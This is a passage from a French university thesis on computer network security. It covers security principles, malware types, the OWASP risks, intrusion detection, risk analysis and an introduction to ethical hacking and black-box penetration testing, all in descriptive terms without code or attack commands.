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V 
VPN: Virtual Private Network 

W 
WASC: Web Application Security Consortium 

WEP: Wired Equivalent Privacy Protocol 

WPA2: Wi-Fi Protected Access 2 

WPA-PSK: Wi-Fi Protected Access, pre-shared key 

X 
XSS: Cross-Site Scripting  

XML: eXtensible Markup Language 
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Introduction Générale 
 
 
 
 

   Le travail présenté dans ce mémoire a été effectué au sein de la Faculté des Technologies, 
Département des Télécommunications de l’université de Tlemcen, pour la spécialité Réseaux 
et Telecommunications. 
   Le besoin grandissant de communication a créé l’ère de l’informatique répartie et 
interconnectée au travers du réseau Internet. Les système d’information sont accessibles de 
l’extérieur pour lui permettre un travail en réseau avec ses fournisseurs, donneurs d’ordre, 
partenaires et l’administration. 
   Ce besoin de communication tant interne qu’externe crée une vulnérabilité des systèmes 
internes de vis-à-vis d’attaques potentielles. La généralisation des outils nomades (téléphones 
mobiles, PDA, ordinateurs portables) accentue encore ces risques.  
   Des mesures de protection homogènes sont donc indispensables à cet égard. L'insécurité 
provient généralement de la non-connaissance des fonctionnalités du système.  Par exemple,  
le fait de  laisser un service actif parce que  l'on ne  sait  pas  s'il  est  utile,  représente  un  
risque  potentiel. Tout d'abord, il s'agit d'une porte supplémentaire sur le système, donc d'un 
accès à surveiller. Mais le fait de ne pas connaître un service exécuté sur un système ou de ne 
pas savoir s'il est utile constitue un réel risque.  
   On ne se renseigne alors  pas  sur  les  vulnérabilités  connues qui  le  touchent,  on ne  le  
configure peut-être  pas  comme  il  le  faudrait ...  Cela  peut  vite  devenir  un  facteur 
d'intrusion. 
   La mise en œuvre d’un plan de sécurité des systèmes d’information, et des échanges, 
s’impose aujourd’hui à tous systèmes. 
   Dans ce mémoire, on va essayer de tracer ou bien de bâtir une politique de sécurité, et cela à 
partir de directives, de procédures, de règles organisationnelles ayant pour objectif principal la 
protection d’un système vulnérable. 
   On propose donc dans ce mémoire de fin d’étude de vous donner quelques pistes afin de 
commencer notre stratégie de sécurité ; On va essayer de hiérarchiser les informations afin 
que ça ne parte pas dans tous les sens. 
   Dans la logique de la rédaction de ce mémoire nous l’avons divisé en quatre chapitres.  
   Dans le premier chapitre, nous avons représenté un peu de théorie sur tout ce qui concerne 
la sécurité d’un système informatique ; des définitions et des notions de base ont été 
envisagées aussi. 
   Dans le deuxième chapitre, on présente l’ensemble des protocoles d’authentifications, de 
chiffrements et de sécurité ainsi que les modèles de sécurité. 
   Quand  on  parle  de  sécurité  informatique,  on  ne  peut  ignorer  le  monde underground,  
celui des hackers et autres pirates. Ils sont fortement médiatisés, généralement à tort et l'objet 



 

 

16 Introduction Générale 

16 

de nombreuses confusions. Nous allons donc dans un troisième chapitre définir brièvement les 
différents profils que l'on retrouve sous ce terme mal employé de "pirate" et on va définir 
quelques stratégies d’attaques éthique, le but de ce chapitre est la compréhension des hackers 
et leurs stratégies d'attaque, dans le but de contrer une attaque inattendue. 
   Le quatrième chapitre qui est le dernier représente le travail, alors que tous les résultats 
nécessaires ont été représentés lors de ce chapitre. 
   Enfin, la conclusion générale et les perspectives de ce travail sont présentées, en résumant 
les principales contributions et en présentant nos futurs travaux de recherche. 
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I.1.   Télécommunications moderne : 
 

   
      La circulation de l’information sur les théâtres d’opérations est un facteur fondamental de 
l’efficacité des forces des entreprises. Les systèmes d’information modernes s’appuient sur 
des moyens de communication performants et complexes, satisfaisant des exigences précises 
[1] : 
• Disponibilité immédiate en cas de crise et capacité de « projection » (mobilité 

géographique) sur très court préavis requérant légèreté et simplicité des moyens à mettre 
en œuvre ; 

• Souplesse du déploiement nécessaire pour adapter les moyens à la diversité des missions 
et des structures de commandement. La modularité du système de communication doit 
permettre la modification des structures de commandement,  

• Réactivité indispensable à l’adaptation à la nature de l’action, des théâtres d’engagement, 
des lieux et du moment de l’engagement. Il faut, en particulier, être capable de gérer des 
dispositifs dispersés sur de larges espaces non contrôlés, tout comme de répondre à la 
problématique du combat urbain ; 

• Interfonctionnement (ou interopérabilité) des moyens de télécommunication entre eux, et 
avec ceux des forces alliées, qui est une exigence des interventions d’aujourd’hui ; 

• Sécurité des communications ; 
• Enfin, exigences anciennes, le commandement à la voix en toutes circonstances . 

I.2.   Les Systèmes informatiques 
I.2.1.   Définition 
   On peut définir un système informatique comme étant une ou plusieurs machines mises à la 
disposition des utilisateurs légitimes pour toutes sortes de tâches [2], en d’autres termes, c’est 
l’ensemble des données et des ressources matériels et logiciels permettant de stocker et gérer 
les données [3]. 
 
I.2.2.   Sécurité des systèmes informatiques 
I.2.2.1.   Principes 
   C’est l’ensemble des moyens mis en œuvre pour réduire les menaces qui guettent un 
système [3]. 
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Figure 1.1 : Attaque sur un système informatique [4] 

   Plusieurs problèmes peuvent survenir lors de la transmission de messages, aussi bien entre 
les parties, que face à un pirate. En voici quelques-uns : 
• Mascarade : insertion des messages d’une source frauduleuse dans le réseau. 
• Modification du contenu : changements du contenu d’un message, y compris l’insertion, 

la suppression, la transposition, et la modification. 
• Modification de séquence(ou d’ordre) : toute modification à un ordre des messages entre 

les parties, y compris l’insertion, la suppression, et commander à nouveau. 
• Modification de la synchronisation : retarde ou rejoue des messages. 
• Répudiation de la source : démenti de transmission de message par source. 
• Répudiation de la destination : démenti de la réception du message par la destination [5]. 

 
I.2.3.   Evaluation de la sécurité  
   La sécurité informatique est l’ensemble des moyens mis en œuvre pour réduire la 
vulnérabilité d’un système contre les menaces accidentelles ou intentionnelles.  
   Il convient d'identifier les exigences fondamentales en sécurité informatique. Elles 
caractérisent ce à quoi s'attendent les utilisateurs de systèmes informatiques en regard de la 
sécurité : 
 

Exigences fondamentales et objectifs Les menaces 

Confidentialité : Concept permettant de 
s’assurer que l’information ne peut être lue 
que par les personnes autorisées. 

Vol de l’information ou 
l’écoute 

Authentification : concept permettant de 
s’assurer que l’identité de l’interlocuteur est 
bien celle qu’il prétend. 

le spoofing 

Non-répudiation (traçabilité) : ensemble 
des moyens et techniques permettant de 
prouver la participation d’une entité dans un 
échange de données. 

 
Etre sous écoute 

Intégrité : ensemble de moyens et  
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techniques permettant de restreindre la 
modification des données aux personnes 
autorisées. 

Modification d’information 

La disponibilité : les services sont toujours 
fonctionnels et accessible à tout moment 

DOS 

Tableau 1.1 : exigences fondamentales en sécurité informatique [6]  

   Du point de vue de la sécurité informatique, une menace est une violation potentielle d’une 
propriété de sécurité [7].  
   Cette menace peut-être accidentelle, intentionnelle (attaque), active ou passive. 
 
I.2.4.   Que protège-t-on ? 
• Les données informatiques : Les fichiers de données, Les bases de données, Procédures et 

manuels, Utilisateurs et Archives.   
• Les systèmes : Les logiciels, systèmes d’exploitation, outils de développement, Utilitaires. 
• Les infrastructures réseaux : Les serveurs informatiques, PC, portables, Matériels réseaux, 

Alimentation Électrique, Climatisation, etc. [3]. 
 

I.2.5.   Établissement d’une politique de sécurité 
   Suite à l’étude des risques et avant de mettre en place des mécanismes de protection, il faut 
préparer une politique à l'égard de la sécurité. C’est elle qui fixe les principaux paramètres, 
notamment les niveaux de tolérance et les coûts acceptables. Voici quelques éléments pouvant 
aider à définir une politique : 
• Quels furent les coûts des incidents informatiques passés ? 
• Quel degré de confiance pouvez-vous avoir envers vos utilisateurs internes ? 
• Qu’est-ce que les clients et les utilisateurs espèrent de la sécurité ? 
• Quel sera l’impact sur la clientèle si la sécurité est insuffisante, ou tellement forte qu’elle 

devient contraignante ?  
• Y a-t-il des informations importantes sur des ordinateurs en réseaux ?  
• Sont-ils accessible de l’externe ? 
• Quelle est la configuration du réseau et y a-t-il des services accessibles de l’extérieur ? [3] 

 
I.2.6.   Principaux défauts de sécurité 
Les défauts de sécurité d’un système d’information les plus souvent constatés sont : 

• Installation des logiciels et matériels par défaut ; 
• Mises à jour non effectuées ; 
• Mots de passe inexistants ou par défaut ; 
• Services inutiles conservés (Netbios…) ; 
• Traces inexploitées ; 
• Pas de séparation des flux opérationnels des flux d’administration des systèmes ; 
• Procédures de sécurité obsolètes ; 
• Eléments et outils de test laissés en place dans les configurations en production ; 
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• Authentification faible ; 
• Télémaintenance sans contrôle fort [3]. 

 
I.2.7.   Les causes pour sécuriser les réseaux ‘Vulnérabilité des réseaux’ 
   La vulnérabilité est une faiblesse dans un système lorsqu’on ne fait pas des correctifs d’une 
erreur, [8] fausse utilisation de langage assembleur…etc. En d’autres mots, elle met la 
confidentialité et l’intégrité de ses données en danger [9]. Elle est aussi une faiblesse 
inhérente à un objet (software ou hardware), due aux : 
• Faute de conception : un algorithme cryptographique qui présente une faiblesse qui peut 

être volontaire (présence d’une trappe) ou involontaire (ce que l’on appelle vulgairement 
une faille). 

• Faute d’utilisation : une méprise ou une inattention dans la procédure d’utilisation d’un 
logiciel ou du système 

   Un terme souvent associé à la notion de vulnérabilité est le terme “exploit”. Cet exploit sera 
défini comme attaque profitant d’une faille pour modifier le comportement du système ou en 
prendre le contrôle [32]. 
 
I.2.7.1.   Où peut-on trouver des vulnérabilités ? 

• Au niveau du système d’exploitation 
• Au niveau applicatif 
• Au niveau du réseau [10].       

  
I.2.7.2.   Principales causes  

• échange non sécurisé des données entre les entités. 
•  failles dans les protocoles TCP/IP. 
• mécanisme d’authentification insuffisant [10]. 

 
I.2.7.3.   Comment trouver les vulnérabilités ? 

• Audit de code source 
• Tests sur le produit 
• Reverse-engineering etc. [11]. 

 
I.2.8.   Scanners de vulnérabilité 
   Ce sont des outils automatisés servent à identifier les failles de sécurité affectant un système 
ou une application après avoir connaître le système d’exploitation de la cible, pour vérifier 
l’existence des vulnérabilités mais ils pouvant parfois manquer ou fausser les vulnérabilités 
présentes sur un système.  
   Les scanners jouent un rôle très important dans les tests d’intrusion, en particulier dans le 
cas d’un test ouvert, qui permet de lancer des attaques multiples sans avoir à se soucier 
d’éviter la détection.  
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   Les scannes de vulnérabilité contiennent souvent de nombreux faux positifs (vulnérabilité 
signalée là où il n’y en a pas) et de faux négatifs (échec de reconnaissance d’une vulnérabilité 
là où il existe). Les scanners de vulnérabilité les plus utiles : NeXpose, Nessus [12]. 
   Un audit de vulnérabilités se déroule généralement en quatre phases : 
 
I.2.8.1.   Phase de découverte  
   Permet d'effectuer un inventaire du parc interne ou externe et de choisir les machines à 
tester. Évidemment les machines dites "sensibles" sont les premières à auditer puisque sont 
les plus ciblées par les vers. 
I.2.8.2.   Phase de détection  
   Celle-ci va déterminer les vulnérabilités présentes sur une ou plusieurs machines ou 
éléments actifs. En fonction de la solution utilisée, cette phase peut être plus ou moins 
intrusive. Certains éditeurs de solutions d'audit de vulnérabilités adoptent une politique "non 
intrusive" afin de pouvoir tester sans risques des serveurs en production. 
I.2.8.3.   Phase d'analyse des résultats  
   Cette phase correspond à l'exploitation des résultats de la phase de test. La solution d'audits 
de vulnérabilités doit être à même de fournir un reporting précis pour les équipes techniques, 
détaillant les problèmes rencontrés, l'impact sur les machines et les solutions pour corriger les 
failles. 
I.2.8.4.   Phase de remédiation 
   Cette dernière phase a pour but de gérer au mieux les interventions qui font suite aux 
découvertes [9]. 
 
I.2.9.   Menace 
Les menaces sont variées et redoutables d'efficacité. Toutes les études arrivent à la même 
conclusion : les entreprises sont de plus en plus victimes de piratage informatique. On trouve 
ainsi plusieurs variétés de menaces, on peut citer : 
• Menaces passives : elles consistent à écouter ou copier des informations de manière illicite 

[10]. 
• Menaces actives : on peut configurer et exploiter le réseau comme on veut : on injecte des 

codes malicieux, usurper l’identité, modifier les messages transitant et beaucoup plus [13].  
• Menaces dues aux accidents : (<30% des causes) incendies, inondations, pannes 

d’équipements, catastrophes naturelles...  
• Menaces dues à la malveillance : (>60%, en croissance, souvent d’origine interne) vols 

d’équipements, copies illicites, sabotage matériel, attaques logiques, intrusion et écoute, 
actes de vengeance [10]. 

 
I.2.9.1.   Malware ‘malicious software’ 
   Est un programme ou juste une partie de celui-ci qui a un effet malicieux et nuisible qui 
menace votre ordinateur tel que : virus, worm, trojan, Rootkit, spyware [14]. On l’utilise pour 
s’introduire dans un système ou une machine sans autorisation pour l’espionnage et la 
récupération des informations sensibles et beaucoup plus [15]. 
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I.2.9.1.1.   Types de malwares 
• Keylogger : il peut être un hardware ou software, on l’utilise pour récupérer la frappe de 

clavier et la capture d’écran.  
• Trojan : c’est la plus dangereux, il semble à un programme légitime, mais en fait il installe 

un serveur qui permet l’accès complet au pirate pour jouer comme il veut au sein de votre 
système.  

• Rot : Remote Administration Tool, est un outil d’administration à distance ; tel que 
l’installation de nouveaux programmes, suppression de données, redémarrage de la 
machine.  

• Bombe logique : partie de programme qui reste dormante dans le système hôte jusqu’à ce 
qu’un instant ou un événement survienne, ou que certaines conditions soient réunies, pour 
déclencher des effets dévastateurs [16]. 

• Cheval de Troie : programme effectuant une fonction illicite tout en donnant l’apparence 
d’effectuer une fonction légitime. 

• Porte dérobée /backdoors : moyen pour contourner les mécanismes de sécurité ; il s’agit 
d’une faille du système de sécurité due à une faute de conception accidentelle ou 
intentionnelle (cheval de Troie en particulier) ces passages secrets sont managés par les 
concepteurs de logiciels pour fournir des accès privilégiés pour les tests ou la 
maintenance, mais les pirates qui les découvrent peuvent déjouer tous les mécanismes de 
sécurité et rentrer dans le système.  

• Virus : est une portion de code, non nécessairement destructrice, capable de se reproduire 
sur l’ordinateur cible et se propager de nombreuses manières, telles que par 
l’intermédiaire d’une disquette, d’une pièce jointe à un mail, ou encore d’un fichier 
téléchargé sur Internet, en s’adjoignant à un autre programme il devient ainsi un cheval de 
Troie[17]. 

• Ver : programme autonome qui se produire de lui-même et se propage à l’insu des 
utilisateurs est un virus se propageant de manière autonome par le réseau.  
 
 
 
 

worm (Ver) Virus 

Autonome, sur DD Parasites dissimulé dans fichiers ou dans 
code exécutable contenu dans secteur 

démarrage disque 
Arrive souvent par pièce jointe à un mail Souvent par port réseau 

Ne se multiple pas localement Se multiplie localement 
Tableau 1.2 : Comparaison entre les malwares Worm et Virus 



 

 

24 CHAPITRE I : SECURITE DES SYSTEMES INFORMATIQUES 

24 

• Spyware : contraction de spy et software. Logiciel espion qui collecte des données 
personnelles afin de les envoyer à un tiers, e.g. Keylogger : transmettre les données saisies 
au clavier.  

• Spamming : usage abusif d'un système messagerie destiné à exposer délibérément (et de 
manière répétée) les utilisateurs à des contenus non pertinents et non sollicités [7]. 
 

I.2.10.   Intrusion  
C’est le faite de s’introduire au sein d’un système sans autorisation en exploitant une 
vulnérabilité dans ce dernier pour un but nuisible [2]. 
 
I.2.10.1.   Différentes approches pour la détection d’intrusion  
   On distingue deux approches pour détecter des intrusions : 
 

détection de malveillances détection d’anomalies 

-Elle consiste à rechercher des 
signatures connues d’attaques 
-Elle connaît ce qui est mal 

-Elle consiste à définir un 

comportement normal du système et à 

rechercher ce qui ne rentre pas dans ce 

comportement. 

-Elle connaît ce qui est bien. 

La combinaison entre ces deux approches nous donne un système hybride pour 
compenser les inconvénients de chacune des techniques  

Tableau 1.3 : Les deux approches pour la detection des intrusions [2] 

I.2.10.2.   Les tests d'intrusions  
   Est une méthode d'évaluation de la sécurité d'un système ou d'un réseau informatique.  
La méthode consiste à simuler une attaque d'un utilisateur mal intentionné, voire d'un logiciel 
malveillant [18].  
   Un test d’intrusion commence par une phase de recherche de vulnérabilité. Et il se termine 
par la rédaction d’un rapport détaillé.  Le rapport contient une description précise de la 
visibilité de la plate-forme du client vis-à-vis de l’extérieur, une liste des vulnérabilités 
identifiées et cataloguées par criticité, chacune accompagnée par les mesures à prendre pour 
la corriger [9]. 
  
I.2.11.   Attaque 
   C’est une action malveillante qui tente d’exploiter une faiblesse dans le système et de violer 
des besoins de sécurité [19]. On peut en distinguer deux types réels d’attaque :  
• Les attaques passives ont pour but d’intercepter un message et de capter les informations 

en transit. Cette attaque ne modifie en rien les messages. 
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• Les attaques actives qui tentent à provoquer des problèmes (ralentir, dégrader ou même 
empêcher la communication), d’envoyer des informations parasites dans le but de saturer 
des systèmes, de modifier ou supprimer carrément les informations [20].  
 

I.2.11.1.   Type des attaquants  
   Il convient de remettre à plat les définitions habituelles que l'on donne des attaquants pour 
corriger quelques travers portés par les médias de masse, et de distinguer les différents types 
de cette grande famille… 
• Black hat : les hackers qui s’introduisent dans un système pour un but destructif et 

malveillant. 
• White hat : ce sont les hackers qui tentent à tester les systèmes de sécurité dans le but de 

les améliorer [21]. 
Des types d’attaques sur les algorithmes : 
• L'attaque en force (ou Brute force attack, Exhaustive key search attack) 

Le cryptographe essaie toutes les combinaisons de clefs possibles jusqu'à l'obtention du 
texte clair. En utilisant des ordinateurs puissants et des méthodes de calculs distribués. 
Elle restera toujours un moyen de casser des systèmes de chiffrement. 

• L'attaque à l'aide de l'analyse statistique (ou Statistical analysis attack) 
Le cryptographe possède des informations sur les statistiques du message clair (fréquences 
des lettres ou des séquences de lettres). Les systèmes tels que ceux par substitution ne 
résistent pas à une telle attaque. 

• L'attaque à l'aide de textes chiffrés seulement (ou Ciphertext-only attack) 
Le cryptographe dispose de messages chiffrés par l'algorithme et fait des hypothèses sur le 
texte clair (présence d’expressions, de mots, le sens du message…etc.). Grâce à cela Il 
peut retrouver soit les textes en clair, ou la clef. 

• L'attaque à l'aide de textes clairs (ou Known-plaintext attack) 
Le cryptographe dispose des messages ou parties de message clairs et de leur version 
chiffrée. Le but du cryptographe est alors de retrouver la clef. Ce type d’attaque est très 
répandu. 

• L'attaque à l'aide de textes clairs choisis (ou Chosen-plaintext attack) 
Le cryptographe dispose des messages clairs et de leur version chiffrée. Il a aussi la 
possibilité de tester des messages et d'obtenir le résultat chiffré. Les chiffrements 
asymétriques sont notamment vulnérables à cette attaque. 

• L'attaque d'une tierce personne (ou Man-in-the-middle attack) ou «l’homme du milieu» 
Une troisième personne s'interpose dans une transaction de manière transparente -sans que 
les deux entités s'en aperçoivent- en captant les messages et en transmettant d'autres 
messages. Il peut même intercepter et modifier les messages envoyés. Cette attaque peut 
être évitée avec les signatures digitales. 

• L'attaque à l'aide du temps d'opération (ou Timing Attack) 
Cette méthode est basée sur la mesure du temps nécessaire pour effectuer des chiffrements 
ou des déchiffrements. Ainsi cette étude permet de mieux cibler la longueur de la clef 
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utilisée et a donc pour but de limiter grandement le domaine des clefs à explorer pour une 
cryptanalyse classique [33]. 
 

I.2.11.2.   Anatomie d’une attaque  
   Ces cinq verbes anglophones qui constituent le squelette de toute attaque informatique : 
Probe, Penetrate, Persist, Propagate, Paralyze. 
• Probes : collecte d’information sur le système cible ; 
• Penetrate : utiliser ensuite les informations de collecter pour pénétrer un réseau ; 
• Persist : créer un compte pour maintenir l’accès en installant un port dérobé ; 
• Propagate : découvrir les services accessibles sur le réseau ; 
• Paralyze : lancer nos attaques, les endommager et les exploiter [22].  

 
   Parmi les raisons les plus courantes d’attaque, on peut rencontrer des raisons : 
• Par défi personnel : afin prouver leurs capacités ; 
• Pour des raisons politiques ; 
• Pour des raisons dogmatiques ; 
• Pour voler de l’information (espionnage industriel) ; 
• Pour modifier des informations ; 
• Par vengeance [34]. 

 
I.2.11.3.   Classification des attaques sur les systèmes informatiques 
 

Niveaux 

d’abstraction du 

système 

 

Objet de l’attaque 

 

Vecteur d’attaque 

 

 

 

 

SYSTEMES   

LOGICIELS                        

 

 

 

Configuration et             

fonctionnalités 

logicielles 

 

 

Abus d’une fonctionnalité logicielle 

légitime 

 

Exploration d’une fonctionnalité 

logicielle vulnérable 

 

 

 

 

 

 

SYSTEMES 

    

 

   

  Logique câblée 

 

 

    

 

 

Abus d’une fonctionnalité 

matérielle légitime 

 

  Exploration d’une fonctionnalité 

matérielle vulnérable. 



 

 

27 CHAPITRE I : SECURITE DES SYSTEMES INFORMATIQUES 

27 

MATERIELS  

    Configuration  

       matérielle 

 Modification valide de la 

configuration matérielle. 

 

Modification invalide de la 

configuration matérielle. 

 

 

CANAUX DE                  

COMMUNICATION 

 

 

Message 

 

         Destruction de message 

Modification de message 

         Capture de message 

         Insertion de message 

 

Environnement 

 

   Canaux de fuite 

   Canaux auxiliaires 

     

        Analyse des canaux de fuite 

         Injection de fautes 

 

Figure 1.2 : Classification des attaques sur les systèmes informatiques [23] 

I.2.12.   Les failles de sécurité 
   Le WASC « WASC Threat Classification » établie dans son rapport une liste exhaustive des 
menaces qui pèsent sur la sécurité des applications Web. Elles sont regroupées dans six 
catégories à savoir : 
• La catégorie « authentification » contient les attaques de sites Web sur le système de 

validation de l’identité d’un utilisateur ; 
• La catégorie « autorisation » c’est l’ensemble des attaques de sites Web sur le système de 

vérification des droits d’un utilisateur, pour effectuer une action ; 
• La catégorie « attaques côté client » rassemble les attaques sur les applications lors de 

l’utilisation par le client ; 
• La catégorie « exécution de commandes » regroupe toutes les attaques qui permettent 

d’exécuter des commandes sur les composants de l’architecture du site Web ; 
• La catégorie « révélation d’informations » définit l’ensemble des attaques qui accèdent 

aux données cachées ; 
• La catégorie « attaques logiques » c’est utilisations hostile (malveillante) des processus 

applicatifs (système de changement de mot de passe, système de création de compte, …) 
[24]. 

 

I.2.13.   Risques de sécurité 
   L’OWASP a classé les dix plus grands risques de sécurité, expliqués comme suivant : 
• Une faille d’injection c’est le faite d’envoyer des données infectées sous forme d’une 

commande ou une requête à un utilisateur afin de l’amener à les exécuter ou accéder à des 
données non autorisées ; 
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• Les failles de Cross-Site Scripting (XSS) se produisent chaque fois qu'une application 
prend des données non fiables et les envoie à un navigateur Web sans validation. XSS 
permet à des attaquants d'exécuter du script dans le navigateur de la victime afin de voler 
des sessions utilisateur, défigurer des sites web, ou rediriger l'utilisateur vers des sites 
malveillants ; 

• Les failles de violation de gestion d'authentification et de session permettant aux 
attaquants d’accéder aux mots de passe, clés, jetons de session, ou d'exploiter d'autres 
failles d'implémentation pour avoir les identités d'autres utilisateurs à cause des erreurs de 
mise en ouvres des fonctions d'authentifications ; 

• Une faille de référence directe à un objet c’est la manipulation d’un attaquant sur une 
référence à une variable interne non protégé et sans un contrôle d'accès (tel un nom de 
fichier, de dossier, un enregistrement de base de données, ou une clé de base de données); 

• Une attaque par falsification de requête inter-sites (CSRF) force le navigateur d'une 
victime authentifiée à envoyer une requête http, comprenant le cookie de session de la 
victime ainsi que d’autre information automatiquement inclue [35] ; 

• Une faille due à une mauvaise configuration de sécurité se produit quand les serveurs 
d'application, serveurs web, serveur de base de données, et la plate-forme n’ont pas de 
configuration sécurisée correctement établie ; 

• Une faille de stockage de données non sécurisées se produit quand une application Web 
ne protège pas correctement les données sensibles, avec un algorithme de chiffrement ou 
de hash approprié ; 

• La défaillance dans la restriction des accès à une URL se produit quand une application 
web ne protège pas l’accès aux URL. Donc les applications doivent effectuer des 
contrôles d'accès similaires chaque fois que ces pages sont accédées ; 

• La faille de protection de la couche transport se produit quand les applications ne peuvent 
pas chiffrer et protéger la confidentialité et l'intégrité du trafic réseau sensible ou 
lorsqu’elles supportent des algorithmes faibles, utilisent des certificats expirés ou 
invalides, ou ne les emploient pas correctement ; 

• Une faille de redirection et renvoie non validés se produit quand une application Web 
réoriente les utilisateurs vers d'autres pages et sites web. Sans validation appropriée, les 
attaquants peuvent rediriger les victimes vers des sites de phishing ou de logiciel 
malveillant, ou utiliser les renvois pour accéder à des pages non autorisées [36]. 
 

I.2.14.   Mesures de sécurité techniques 
• La cryptographie va chiffrer l’information pour qu’elle ne soit pas compréhensible par un 

tiers, alors que la sténographie va la rendre invisible [25] ; 

• Contrôle d’accès ; 

• Pare-feu (Firewall) est un dispositif matériel ou logiciel, on peut : soit l’installer sur la frontière du 

réseau, ou dans une machine cliente à fin de contrôler les accès au réseau [26]; 
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• Zone Démilitarisée DMZ : une zone sécurisée de tous les côtés [27]. Plus précisément, 

c’est une zone d’un réseau située entre le réseau local et internet, derrière le pare-feu pour 

éviter toute connexion directe au réseau interne ; 

• IDS (Détection d’Intrusions) est un dispositif matériel et /ou logiciel qui écoute et analyser 

le trafic en temps réel en cherchant des tentatives d’intrusion non autorisées à fin de lancer 

des alertes à l’administrateur ; 

• Journalisation : Enregistrement des évènements dans un fichier de log [5] ; 

• Exemples d'évènements : arriver d'un paquet, tentative de connexion. 

• Pot de miel : est un dispositif de leurre, destiné à piéger les attaques des pirates [28] ; 

Théoriquement, un honey pot ne devrait générer aucun trafic car aucune activité ne lui est 

autorisée. Ainsi, tout interaction avec lui ne peut être qu’illicite. Il est alors possible de 

lister tous les accès et toutes les commandes qu’il subit ou reçoit [5] ; 

• Audit : l'objectif de l'audit est ainsi de vérifier que chaque règle de la politique de sécurité 

est correctement appliquée et que l'ensemble des dispositions prises forme un tout 

cohérent [3] ; 

• IPsecVPN (Réseaux Privés Virtuels) La prévention n’est qu’une des quatre parties de la 

gestion de la sécurité. La partie détection est à la recherche de l’exploitation de nouvelles 

brèches. La partie enquête essaye de déterminer ce qui est arrivé, en s’appuyant sur les 

informations fournies par la partie détection. La partie autopsie consiste à chercher 

comment empêcher des intrusions similaires dans le futur [2] ; 

• IPS toute composante matériel ou logiciel contrôle le système de manière active et il 

bloque toute activité suspecte détectée, mais il détecte parfois des faux positif [22] ;  

• SSL : pour la sécurité des services ; 
• Anti-virus : L’antivirus est un logiciel conçu pour identifier, neutraliser et éliminer des 

logiciels malveillants; 
• Plan de sauvegarde [29]. 
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I.2.15.   Le processus d'analyse et d'évaluation des risques 
   L’analyse et l’évaluation des risques font partie du processus global de gestion des risques qui 

apparaît à la figure 1.3, tirée de la norme ISO 31000 :2009.  

 

Figure 1.3 : L’appréciation des risques dans le processus global de gestion des risques (adapté de MSP, 2008) [30] 

   Cette démarche d’identification, d’analyse et d’évaluation des risques s’inscrit comme étant 
la pierre angulaire du processus global de gestion des risques ; sans une bonne connaissance 
des risques, il est difficile de mettre en œuvre des mesures adéquates afin d’éviter leur 
occurrence ou bien de gérer les effets lorsque ceux-ci se matérialisent (traitement des risques).     
   Ces mesures présentées sous le nom de « barrières de sécurité ». 
   Pour améliorer l’efficacité et l’objectivité d’une analyse de risques ainsi que pour faciliter la 
comparaison avec d’autres analyses de risque, il est souhaitable de suivre un certain nombre 
de règles générales.  
   Il est également souhaitable d’effectuer le processus d’analyse de risque conformément à 
une séquence définie d’étapes telle que schématisée à la figure 1.4.   
   Le processus détaillé d’appréciation des risques est composé de 12 étapes distinctes : 
1. Définir les objectifs et la portée de l’étude ; 
2. Choisir la méthode d’analyse la plus appropriée ; 
3. Constituer une équipe d’analyse multidisciplinaire ; 
4. Récolter et préparer l’information requise ; 
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5. Définir les critères d’analyse ; 
6. Identifier les dangers ; 
7. Analyser les risques ; 
8. Évaluer l’acceptabilité des risques ; 
9. Recommander des barrières de sécurité additionnelles ; 
10. Évaluer le risque résiduel ; 
11. Documenter l’analyse ; 
12. Mettre en œuvre les recommandations. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Figure 1.4 : Étapes génériques de l’appréciation des risques [31] 

1-fixer les objets et la portée 

Documenter l’analyse / Mise en œuvre et suivie (retour à l’étape 1) 
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   La figure 1.4 résume le processus itératif d’appréciation des risques.  
   Il est important de bien comprendre que ce processus est itératif et qu’il n’est pas nécessaire 
d’avoir complété la boucle itérative pour analyser et mettre en place des barrières de sécurité 
(pour réduire le risque). 
 
I.2.16.   politique de sécurité et Conclusion 
 
   Les coûts d'un problème en Télécommunication et plus spécialement ce qui réside dans la 
sécurité nécessite à réaliser une analyse de risque en prenant soin d'identifier les problèmes 
potentiels avec les solutions avec les coûts associés. L'ensemble des solutions retenues doit 
être organisé sous forme d'une politique de sécurité cohérente, Il faut cependant prendre 
conscience que les principaux risques à savoir faire une analyse de vulnérabilité des 
informations contenues sur les ordinateurs en réseau (programmes d'analyse des paquets, 
logs…). 
   Dans ce qui suit, on va s’intéresser à l’étude des protocoles de sécurité ainsi que les 
systèmes et modèles de sécurité des pionniers dans le même domaine, et tout cela, ça sera le 
sujet du deuxième chapitre. 
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Avant-Propos 
 

   Quoi qu'il en  soit,  pour  assurer  l'état  de  sécurité  d'un  système,  il  convient d'analyser le 
système pour en connaître les forces et les faiblesses, qu'il faudra bien sûr corriger. Pour cela, 
on réalise ce qu'on appelle un audit de sécurité.  
   Il  peut  être  réalisé  par  le  responsable  sécurité  du  système,  s'il  possède  les 
connaissances  suffisantes, mais  il  est préférable de  faire appel  à  un  tiers de confiance,  
spécialisé dans  la sécurité  informatique,  pour valider  les moyens mis  en  place  pour  
assurer  la  protection,  au  regard  de  la  politique  de sécurité.  
   En  effet,  une  personne  extérieure  aura  une  vision  beaucoup  plus  neutre, globale  et  
proche  de  la  réalité . Elle sera également  en mesure  de  conseiller en  cas  de  défaillance,  
et  de mettre  en  place  une  politique  de  sécurité  plus saine.  
   Dans ce chapitre, on va mettre le masque de cette personne, et on va essayer d’apprendre le 
maximum de techniques afin de pirater « hacker » les réseaux, comme ça on sera capable par 
la suite de sécuriser notre système [82]. 
   Les menaces sont nombreuses, parmi elles, les hackers. Ces pirates informatiques sont là 
pour dérober informations personnelles, données bancaires ou encore fichiers privés. Pour 
s'en protéger, une méthode efficace existe : le hacking éthique. Elle consiste en la 
compréhension des hackers et leurs stratégies d'attaque, dans le but de la contrer [83]. 

III.1.   Introduction 
 

   Les  hackers  sont  généralement  des  personnes  cultivées  qui  connaissent  à  la  fois  
l'historique  de  leur  statut,  les grands  acteurs  du mouvement, qui  se  tiennent  informés  de  
tout  ce qui  s'apparente  à  leur  domaine  et  qui ont soif de connaissance [84]. 
   Le hacker éthique est un « gentil » hacker, un spécialiste de sécurité informatique offensive 
pour la protection des systèmes. Son rôle est d’attaquer les systèmes de sécurité informatique 
pour tester leur vulnérabilité. Son activité permet ainsi aux entreprises de détecter les failles 
de leur système pour leur permettre de mieux se protéger d’éventuelles attaques [85]. 
   Afin de réussir notre mission, Nous allons nous placer dans la situation d'un test d'intrusion 
en condition réelle, c'est-à-dire en boîte noire [86].  
   Nous ne connaissons rien sur le système cible, ni l'architecture, ni les services, ni 
l'organisme.    
